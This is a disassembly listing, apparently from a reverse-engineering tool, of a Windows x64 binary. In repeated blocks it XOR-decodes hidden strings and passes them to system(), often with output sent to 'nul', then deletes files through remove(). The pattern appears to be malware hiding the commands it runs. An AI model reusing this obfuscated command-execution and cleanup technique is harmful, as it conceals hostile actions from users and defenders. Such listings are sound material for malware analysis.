mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm9
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm9
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x38
jl 0x1400547c0
cmp r8d, 0x3a
jge 0x1400548f5
movsxd r9, r8d
add r9, r10
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x3a
jl 0x1400548c1
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x4dd2]
lea rcx, [rbp + 0x4d]
mov byte [rbp + 0x4d], al
call fcn.140070910
mov r10, rax
cmp byte [rax + 0x3a], 0
je 0x140054a75
mov r8d, r14d
cmp r15d, 2
jl 0x140054a3b
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm9
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm9
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x38
jl 0x140054940
cmp r8d, 0x3b
jge 0x140054a75
movsxd r9, r8d
add r9, r10
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x3b
jl 0x140054a41
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, reloc.WS2_32.dll_ntohs
lea rcx, [rbp + 0x37a0]
call fcn.140042780
mov rbx, rax
lea rdx, [rbp + 0x4478]
xor eax, eax
lea rcx, [rbp + 0x4e]
mov byte [rbp + 0x4e], al
call fcn.140070960
mov r10, rax
cmp byte [rax + 0x31], 0
je 0x140054c05
mov r8d, r14d
cmp r15d, 2
jl 0x140054bcb
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm9
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm9
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x30
jl 0x140054ad0
cmp r8d, 0x32
jge 0x140054c05
movsxd r9, r8d
add r9, r10
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x32
jl 0x140054bd1
mov r8, rbx
lea rcx, [rbp + 0x37c0]
mov rdx, r10
call fcn.140078410
mov rdx, rax
lea r8, str.__nul
lea rcx, [rbp + 0x37e0]
call fcn.140078470
mov rcx, rax
call fcn.140077710
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x37e0]
call fcn.140077840
lea rcx, [rbp + 0x37c0]
call fcn.140077840
lea rcx, [rbp + 0x37a0]
call fcn.140077840
mov edx, reloc.WS2_32.dll_ntohs
lea rcx, [rbp + 0x3800]
call fcn.140042780
mov rbx, rax
lea rdx, [rbp + 0x44aa]
xor eax, eax
lea rcx, [rbp + 0x4f]
mov byte [rbp + 0x4f], al
call fcn.140070990
mov r10, rax
cmp byte [rax + 0x31], 0
je 0x140054df4
mov r8d, r14d
cmp r15d, 2
jl 0x140054dac
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm9
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm9
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x30
jl 0x140054cb1
cmp r8d, 0x32
jge 0x140054df4
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x32
jl 0x140054dc0
mov r8, rbx
lea rcx, [rbp + 0x3820]
mov rdx, r10
call fcn.140078410
mov rdx, rax
lea r8, str.__nul
lea rcx, [rbp + 0x3840]
call fcn.140078470
mov rcx, rax
call fcn.140077710
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x3840]
call fcn.140077840
lea rcx, [rbp + 0x3820]
call fcn.140077840
lea rcx, [rbp + 0x3800]
call fcn.140077840
mov edx, reloc.WS2_32.dll_ntohs
lea rcx, [rbp + 0x3860]
call fcn.140042780
mov rbx, rax
lea rdx, [rbp + 0x44dc]
xor eax, eax
lea rcx, [rbp + 0x50]
mov byte [rbp + 0x50], al
call fcn.1400709c0
mov r10, rax
cmp byte [rax + 0x31], 0
je 0x140054fd5
mov r8d, r14d
cmp r15d, 2
jl 0x140054f9b
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm9
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm9
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x30
jl 0x140054ea0
cmp r8d, 0x32
jge 0x140054fd5
movsxd r9, r8d
add r9, r10
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x32
jl 0x140054fa1
mov r8, rbx
lea rcx, [rbp + 0x3880]
mov rdx, r10
call fcn.140078410
mov rdx, rax
lea r8, str.__nul
lea rcx, [rbp + 0x38a0]
call fcn.140078470
mov rcx, rax
call fcn.140077710
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x38a0]
call fcn.140077840
lea rcx, [rbp + 0x3880]
call fcn.140077840
lea rcx, [rbp + 0x3860]
call fcn.140077840
mov edx, reloc.WS2_32.dll_ntohs
lea rcx, [rbp + 0x38c0]
call fcn.140042780
mov rbx, rax
lea rdx, [rbp + 0x450e]
xor eax, eax
lea rcx, [rbp + 0x51]
mov byte [rbp + 0x51], al
call fcn.1400709f0
mov r10, rax
cmp byte [rax + 0x31], 0
je 0x1400551c4
mov r8d, r14d
cmp r15d, 2
jl 0x14005517c
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm9
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm9
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x30
jl 0x140055081
cmp r8d, 0x32
jge 0x1400551c4
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x32
jl 0x140055190
mov r8, rbx
lea rcx, [rbp + 0x38e0]
mov rdx, r10
call fcn.140078410
mov rdx, rax
lea r8, str.__nul
lea rcx, [rbp + 0x3900]
call fcn.140078470
mov rcx, rax
call fcn.140077710
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x3900]
call fcn.140077840
lea rcx, [rbp + 0x38e0]
call fcn.140077840
lea rcx, [rbp + 0x38c0]
call fcn.140077840
xor eax, eax
lea rdx, [rbp + 0x5000]
lea rcx, [rbp + 0x52]
mov byte [rbp + 0x52], al
call fcn.140070a20
mov r10, rax
cmp byte [rax + 0x3f], 0
je 0x140055393
mov r8d, r14d
cmp r15d, 2
jl 0x140055355
movdqa xmmword [rbp + 0x10], xmm13
mov edx, r14d
mov r8d, dword [rbp + 0x10]
mov rcx, rax
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm9
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm9
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add edx, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
movd xmm0, r8d
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp edx, 0x40
jl 0x140055260
jmp 0x140055393
mov r9, r10
nop dword [rax + rax]
mov eax, 0x1f7047dd
lea r9, [r9 + 1]
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x40
jl 0x140055360
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x5182]
lea rcx, [rbp + 0x53]
mov byte [rbp + 0x53], al
call fcn.140070a50
mov r10, rax
cmp byte [rax + 0x41], 0
je 0x140055515
mov r8d, r14d
cmp r15d, 2
jl 0x1400554db
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm9
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm9
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x40
jl 0x1400553e0
cmp r8d, 0x42
jge 0x140055515
movsxd r9, r8d
add r9, r10
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x42
jl 0x1400554e1
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call fcn.1400407f0
xor eax, eax
lea rdx, [rbp + 0x3f50]
lea rcx, [rbp + 0x54]
mov byte [rbp + 0x54], al
call fcn.140070a90
mov r10, rax
cmp byte [rax + 0x2b], 0
je 0x140055695
mov r8d, r14d
cmp r15d, 2
jl 0x14005565b
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm9
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm9
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x28
jl 0x140055560
cmp r8d, 0x2c
jge 0x140055695
movsxd r9, r8d
add r9, r10
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x2c
jl 0x140055661
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
xor eax, eax
lea rdx, [rbp + 0x3e06]
lea rcx, [rbp + 0x55]
mov byte [rbp + 0x55], al
call fcn.140070ac0
mov r10, rax
cmp byte [rax + 0x28], 0
je 0x140055815
mov r8d, r14d
cmp r15d, 2
jl 0x1400557db
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm9
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm9
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x28
jl 0x1400556e0
cmp r8d, 0x29
jge 0x140055815
movsxd r9, r8d
add r9, r10
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x29
jl 0x1400557e1
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
xor eax, eax
lea rdx, [rbp + 0x3dde]
lea rcx, [rbp + 0x56]
mov byte [rbp + 0x56], al
call fcn.140070af0
mov r10, rax
cmp byte [rax + 0x27], 0
je 0x140055993
mov r8d, r14d
cmp r15d, 2
jl 0x140055955
movdqa xmmword [rbp + 0x10], xmm13
mov edx, r14d
mov r8d, dword [rbp + 0x10]
mov rcx, rax
nop dword [rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm9
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm9
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add edx, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
movd xmm0, r8d
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp edx, 0x28
jl 0x140055860
jmp 0x140055993
mov r9, r10
nop dword [rax + rax]
mov eax, 0x1f7047dd
lea r9, [r9 + 1]
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x28
jl 0x140055960
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
xor eax, eax
lea rdx, [rbp + 0x3e2f]
lea rcx, [rbp + 0x57]
mov byte [rbp + 0x57], al
call fcn.140070b20
mov r10, rax
cmp byte [rax + 0x28], 0
je 0x140055b15
mov r8d, r14d
cmp r15d, 2
jl 0x140055adb
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm9
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm9
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
movd xmm0, edx
